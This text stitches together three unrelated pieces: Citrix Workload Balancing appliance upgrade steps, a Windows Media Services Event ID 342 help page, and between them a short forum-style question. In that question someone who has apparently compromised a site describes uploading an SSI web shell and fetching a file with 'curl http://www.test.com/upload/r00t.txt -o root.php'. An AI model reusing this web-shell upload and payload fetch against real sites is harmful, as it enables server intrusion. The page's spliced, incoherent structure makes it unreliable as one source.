Upgrading Workload Balancing with Internet Access

Upgrading with the Internet requires that you download GNU wget, an HTTP retrieval utility. You also need to download a Python script that configures a repository (add-repo.py) on your virtual appliance.

To upgrade Workload Balancing in environments with Internet access

1. If you have not done so already, log in to the Workload Balancing appliance you want to upgrade as described in Section 8.1.1, “Logging in to the Workload Balancing Virtual Appliance”

2. Install GNU wget so you can retrieve the upgrade repository installation script using HTTP:

a. From the bash prompt, run the following command:

yum install wget

b. During installation, wget Setup asks you to accept various prompts, such as the size of the download package and the CentOS key. Type y when prompted.

3. When the wget installation is complete, download “add-repo” script by running the following command:

wget http://updates.xensource.com/XenServer/WLB/6.5/add-repo.py

When this command finishes running, a message appears stating the ‘add-repo.py’ script is saved.

4. At the bash prompt, run the following command to create the upgrade repository on the Workload Balancing appliance:

python add-repo.py

After the script finishes, the output states “Done.”

5. Do one of the following to upgrade your Workload Balancing virtual appliance:

• To upgrade both CentOS and Workload Balancing, run:

yum update

• To upgrade Workload Balancing only, run:

yum update citrix-wlb

• To upgrade CentOS only, run:

yum update –disablerepo=citrix-wlb

6. After upgrading either CentOS or Workload Balancing or both, restart the Workload Balancing virtual appliance.


After upgrading CentOS, the operating-system time changes from Coordinated Universal Time (UTC) to the local time zone. One side effect of this change is that the timestamps in the Workload Balancing log file (LogFile.log) also change from UTC time to local time. If you want to change the system time back to UTC time, run the following command in the Workload Balancing virtual appliance: rm -rf /etc/localtime.


how to bypass Internal Server Error

after i bypass this error message the server encountered an internal error or misconfiguration and was unable to complete your request. i find that i have another mistake when i upload the SSI web shell and run my command curl http://www.test.com/upload/r00t.txt -o root.php wget …


Event ID 342 — Broadcast Archiving

Event ID 342 — Broadcast Archiving

Updated: November 17, 2007

Applies To: Windows Server 2008

When you use a broadcast publishing point to stream content, you can configure Archiving plug-ins in Windows Media Services to archive the content to a file as it streams. Archiving is useful when you are streaming content that is not already recorded—for example, a stream from an encoder. The archive file enables you to make the content available for on-demand requests or rebroadcast. You can either wait until the broadcast is over to make the archived content available or you can use the Play While Archiving feature in Windows Media Services to allow clients to stream the archived content, even as the server continues to archive streaming content to the file. For more information, see Archiving content.

Event Details

Product: Windows Media Services
ID: 342
Source: WMServer
Version: 9.5
Message: %1 packets were lost while archiving.

Increase available system memory for archiving

Increase the amount of system memory available for the Windows Media Services process (wmserver.exe). For more information about tuning system memory for your Windows Media server, see Optimizing Windows Media Services.

Note: If the archived stream is interrupted by packet loss for a period greater than two seconds, the plug-in will stop archiving and begin archiving to a new file when the stream resumes. The presence of several small archive files in the archive directory is an indication that packet loss occurred while archiving.


To verify that the output from your live broadcast is being archived correctly to a file in the archive directory, set up a Play While Archiving configuration in Windows Media Services to allow a test client to read from the archive file as the Windows Media server writes to it. For more information, see About Play While Archiving. After you have configured Play While Archiving in Windows Media Services, you can view the archive file in Windows Media Player to confirm the quality of the archived broadcast.

To view the archive file in Windows Media Player:

  1. If you want to view the file by using Windows Media Player on the computer that is running Windows Media Services, you must install Desktop Experience. For more information, see Installing Desktop Experience.
  2. On the Windows Media server, open Windows Media Services. To open Windows Media Services, click Start, point to Administrative Tools, and then click Windows Media Services.
  3. In the console tree, click the publishing point that sources from the archive file.
  4. In the details pane, click the Announce tab, and then, in Connect to a unicast stream, note the value of the URL that a client can use to access the content.
  5. Start Windows Media Player on a computer that can access the stream, and enter the URL that you noted in the previous step. You should be able to view the archived broadcast from the beginning of the event; however, you will not be able to fast forward or rewind the content until archiving stops.

Related Management Information

Broadcast Archiving

Streaming Media Services